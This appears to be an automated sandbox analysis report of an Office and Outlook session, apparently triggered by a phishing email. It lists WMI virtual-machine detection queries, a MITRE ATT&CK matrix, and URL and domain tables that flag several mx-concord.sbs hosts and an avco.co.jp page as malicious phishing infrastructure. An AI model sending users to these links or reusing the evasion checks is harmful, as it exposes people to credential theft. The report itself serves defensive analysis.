Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PhysicalMemory WHERE Tag='Physical Memory 0'

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_DiskDrive WHERE DeviceID LIKE '%PHYSICALDRIVE0%'

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PhysicalMemory WHERE Tag='Physical Memory 0'

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystemProduct

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File Volume queried: C:\Windows\SysWOW64 FullSizeInformation

Jump to behavior

Source: settings.dat.LOG1.21.dr	Binary or memory string: VMware, Inc. VMware20,1?O
Source: chromecache_112.14.dr	Binary or memory string: 2~>vmcin

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe

Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe "C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe"

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Queries volume information: C:\Program Files (x86)\Microsoft Office\root\Office16\AI\WordCombinedFloatieLreOnline.onnx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Program Files\WindowsApps\Microsoft.People_10.1902.633.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\contrast-black\PeopleAppList.scale-100.png VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\offsym.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\offsym.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\en-gb\locimages\offsym.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\en-gb\locimages\offsym.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\offsymsb.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\offsymsb.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\en-gb\locimages\offsymsb.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\en-gb\locimages\offsymsb.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\offsymsl.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\offsymsl.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\en-gb\locimages\offsymsl.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\en-gb\locimages\offsymsl.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\offsymsl.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\offsymsl.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Windows\Fonts\segoeuil.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\offsym.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\offsym.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe	Queries volume information: C:\Windows\Fonts\segoeuisl.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe	Queries volume information: C:\Windows\Fonts\segmdl2.ttf VolumeInformation

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Drive-by Compromise	31 Windows Management Instrumentation	11 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	OS Credential Dumping	311 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	11 Registry Run Keys / Startup Folder	1 Modify Registry	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	124 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://shell.suite.office.com:1443	0%	URL Reputation	safe
https://designerapp.azurewebsites.net	0%	URL Reputation	safe
https://autodiscover-s.outlook.com/	0%	URL Reputation	safe
https://useraudit.o365auditrealtimeingestion.manage.office.com	0%	URL Reputation	safe
https://outlook.office365.com/connectors	0%	URL Reputation	safe
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	0%	URL Reputation	safe
https://cdn.entity.	0%	URL Reputation	safe
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	0%	URL Reputation	safe
https://rpsticket.partnerservices.getmicrosoftkey.com	0%	URL Reputation	safe
https://lookup.onenote.com/lookup/geolocation/v1	0%	URL Reputation	safe
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	0%	URL Reputation	safe
https://api.aadrm.com/	0%	URL Reputation	safe
https://canary.designerapp.	0%	URL Reputation	safe
https://www.yammer.com	0%	URL Reputation	safe
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies	0%	URL Reputation	safe
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive	0%	URL Reputation	safe
https://cr.office.com	0%	URL Reputation	safe
https://messagebroker.mobile.m365.svc.cloud.microsoft	0%	URL Reputation	safe
https://otelrules.svc.static.microsoft	0%	URL Reputation	safe
https://edge.skype.com/registrar/prod	0%	URL Reputation	safe
https://res.getmicrosoftkey.com/api/redemptionevents	0%	URL Reputation	safe
https://tasks.office.com	0%	URL Reputation	safe
https://officeci.azurewebsites.net/api/	0%	URL Reputation	safe
https://store.office.cn/addinstemplate	0%	URL Reputation	safe
https://edge.skype.com/rps	0%	URL Reputation	safe
https://messaging.engagement.office.com/	0%	URL Reputation	safe
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech	0%	URL Reputation	safe
https://www.odwebp.svc.ms	0%	URL Reputation	safe
https://api.powerbi.com/v1.0/myorg/groups	0%	URL Reputation	safe
https://web.microsoftstream.com/video/	0%	URL Reputation	safe
https://api.addins.store.officeppe.com/addinstemplate	0%	URL Reputation	safe
https://graph.windows.net	0%	URL Reputation	safe
https://consent.config.office.com/consentcheckin/v1.0/consents	0%	URL Reputation	safe
https://learningtools.onenote.com/learningtoolsapi/v2.0/Getvoices	0%	URL Reputation	safe
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json	0%	URL Reputation	safe
https://safelinks.protection.outlook.com/api/GetPolicy	0%	URL Reputation	safe
https://ncus.contentsync.	0%	URL Reputation	safe
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/	0%	URL Reputation	safe
http://weather.service.msn.com/data.aspx	0%	URL Reputation	safe
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios	0%	URL Reputation	safe
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml	0%	URL Reputation	safe
https://pushchannel.1drv.ms	0%	URL Reputation	safe
https://wus2.contentsync.	0%	URL Reputation	safe
https://clients.config.office.net/user/v1.0/ios	0%	URL Reputation	safe
https://api.addins.omex.office.net/api/addins/search	0%	URL Reputation	safe
https://xsts.auth.xboxlive.com	0%	URL Reputation	safe
https://outlook.office365.com/api/v1.0/me/Activities	0%	URL Reputation	safe
https://clients.config.office.net/user/v1.0/android/policies	0%	URL Reputation	safe
https://entitlement.diagnostics.office.com	0%	URL Reputation	safe
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json	0%	URL Reputation	safe
https://login.microsoftonline.com	0%	URL Reputation	safe
https://substrate.office.com/search/api/v1/SearchHistory	0%	URL Reputation	safe
https://clients.config.office.net/c2r/v1.0/InteractiveInstallation	0%	URL Reputation	safe
https://service.powerapps.com	0%	URL Reputation	safe
https://graph.windows.net/	0%	URL Reputation	safe
https://devnull.onenote.com	0%	URL Reputation	safe
https://messaging.office.com/	0%	URL Reputation	safe
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing	0%	URL Reputation	safe
https://skyapi.live.net/Activity/	0%	URL Reputation	safe
https://messaging.action.office.com/setcampaignaction	0%	URL Reputation	safe
https://visio.uservoice.com/forums/368202-visio-on-devices	0%	URL Reputation	safe
https://staging.cortana.ai	0%	URL Reputation	safe
https://augloop.office.com	0%	URL Reputation	safe
https://api.diagnosticssdf.office.com/v2/file	0%	URL Reputation	safe
https://login.windows.local/	0%	URL Reputation	safe
https://prod.mds.office.com/mds/api/v1.0/clientmodeldirectory	0%	URL Reputation	safe
https://officepyservice.office.net/	0%	URL Reputation	safe
https://96f04cf4-b128254c.mx-concord.sbs/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	0%	Avira URL Cloud	safe
https://avco.co.jp/vm/Oauth-vm-office-caller-api/win10.php	100%	Avira URL Cloud	phishing
https://xsts.auth.xboxlive.com/https://login.windows.net	0%	Avira URL Cloud	safe
https://l1ve.mx-concord.sbs/Me.htm?v=3	0%	Avira URL Cloud	safe
https://api.diagnostics.office.com	0%	URL Reputation	safe
https://store.office.de/addinstemplate	0%	URL Reputation	safe
https://wus2.pagecontentsync.	0%	URL Reputation	safe
https://api.powerbi.com/v1.0/myorg/datasets	0%	URL Reputation	safe
https://cortana.ai/api	0%	URL Reputation	safe
https://api.microsoftstream.com/api/	0%	Avira URL Cloud	safe
https://96f04cf4-b128254c.mx-concord.sbs/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	0%	Avira URL Cloud	safe
https://portal.mx-concord.sbs/common/GetCredentialType?mkt=en-US	0%	Avira URL Cloud	safe
https://47af7f62-b128254c.mx-concord.sbs/OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0	0%	Avira URL Cloud	safe
https://api.emailinc.net/c.jsp?l=47tqdjb4&s=x88b4wkuqe%23dfsdtosprzvzvrezddwsssfujcrmy	0%	Avira URL Cloud	safe
https://my.microsoftpersonalcontent.com	0%	Avira URL Cloud	safe
https://portal.mx-concord.sbs/favicon.ico	0%	Avira URL Cloud	safe
https://d.docs.live.net	0%	Avira URL Cloud	safe
https://a230fc93-b128254c.mx-concord.sbs/shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js	0%	Avira URL Cloud	safe
https://995a2a74-b128254c.mx-concord.sbs/shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg	0%	Avira URL Cloud	safe
https://willyadventures.com/wp-about	0%	Avira URL Cloud	safe
https://outlook.office.com/	0%	Avira URL Cloud	safe
https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47t	0%	Avira URL Cloud	safe
https://api.=	0%	Avira URL Cloud	safe
https://storage.live.com/clientlogs/uploadlocation	0%	Avira URL Cloud	safe
https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2	0%	Avira URL Cloud	safe
https://api.cortana.ai	0%	Avira URL Cloud	safe
https://onedrive.live.com/embed?	0%	Avira URL Cloud	safe
https://login.windows.local.	0%	Avira URL Cloud	safe
https://api.emailinc.net/c.jsp?l=3D47tqd=	0%	Avira URL Cloud	safe
https://login.windows.local$	0%	Avira URL Cloud	safe
https://96f04cf4-b128254c.mx-concord.sbs/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	0%	Avira URL Cloud	safe
https://google.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
18e976ad-b128254c.mx-concord.sbs	185.225.69.39	true	true	unknown
google.com	142.250.186.174	true	false	unknown
995a2a74-b128254c.mx-concord.sbs	185.225.69.39	true	true	unknown
portal.mx-concord.sbs	185.225.69.39	true	true	unknown
96f04cf4-b128254c.mx-concord.sbs	185.225.69.39	true	true	unknown
gcc02.safelinks.eop-tm2.outlook.com	104.47.64.28	true	false	unknown
d850edeb-b128254c.mx-concord.sbs	185.225.69.39	true	true	unknown
2380eb27-b128254c.mx-concord.sbs	185.225.69.39	true	true	unknown
3d801160-b128254c.mx-concord.sbs	185.225.69.39	true	true	unknown
api.emailinc.net	209.208.100.119	true	false	unknown
97b8b702-b128254c.mx-concord.sbs	185.225.69.39	true	true	unknown
e68d1619-b128254c.mx-concord.sbs	185.225.69.39	true	true	unknown
l1ve.mx-concord.sbs	185.225.69.39	true	true	unknown
47af7f62-b128254c.mx-concord.sbs	185.225.69.39	true	true	unknown
ad0ce364-b128254c.mx-concord.sbs	185.225.69.39	true	true	unknown
ed89c33c-b128254c.mx-concord.sbs	185.225.69.39	true	true	unknown
a230fc93-b128254c.mx-concord.sbs	185.225.69.39	true	true	unknown
willyadventures.com	167.86.102.97	true	false	unknown
avco.co.jp	183.90.238.45	true	false	unknown
www.google.com	172.217.16.132	true	false	unknown
68bc0e6a-b128254c.mx-concord.sbs	185.225.69.39	true	true	unknown
gcc02.safelinks.protection.outlook.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://96f04cf4-b128254c.mx-concord.sbs/shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg	true	Avira URL Cloud: safe	unknown
https://l1ve.mx-concord.sbs/Me.htm?v=3	true	Avira URL Cloud: safe	unknown
https://portal.mx-concord.sbs/common/GetCredentialType?mkt=en-US	true	Avira URL Cloud: safe	unknown
https://47af7f62-b128254c.mx-concord.sbs/OneCollector/1.0/?cors=true&content-type=application/x-json-stream&w=0	true	Avira URL Cloud: safe	unknown
https://avco.co.jp/vm/Oauth-vm-office-caller-api/win10.php	true	Avira URL Cloud: phishing	unknown
https://96f04cf4-b128254c.mx-concord.sbs/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico	true	Avira URL Cloud: safe	unknown
https://api.emailinc.net/c.jsp?l=47tqdjb4&s=x88b4wkuqe%23dfsdtosprzvzvrezddwsssfujcrmy	false	Avira URL Cloud: safe	unknown
https://portal.mx-concord.sbs/?lit=up&sso_reload=true	true		unknown
https://portal.mx-concord.sbs/favicon.ico	true	Avira URL Cloud: safe	unknown
https://a230fc93-b128254c.mx-concord.sbs/shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js	true	Avira URL Cloud: safe	unknown
https://995a2a74-b128254c.mx-concord.sbs/shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg	true	Avira URL Cloud: safe	unknown
https://willyadventures.com/wp-about	false	Avira URL Cloud: safe	unknown
https://68bc0e6a-b128254c.mx-concord.sbs/api/report?catId=GW+estsfd+dub2	true	Avira URL Cloud: safe	unknown
https://96f04cf4-b128254c.mx-concord.sbs/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://shell.suite.office.com:1443	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://designerapp.azurewebsites.net	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://autodiscover-s.outlook.com/	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://useraudit.o365auditrealtimeingestion.manage.office.com	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://outlook.office365.com/connectors	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://cdn.entity.	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://rpsticket.partnerservices.getmicrosoftkey.com	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://lookup.onenote.com/lookup/geolocation/v1	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
https://xsts.auth.xboxlive.com/https://login.windows.net	HxAccounts.exe, 0000001B.00000002.2400968751.000002259778B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.aadrm.com/	3F1B5091-5243-4F29-8841-7088A48E46C7.21.dr	false	URL Reputation: safe	unknown
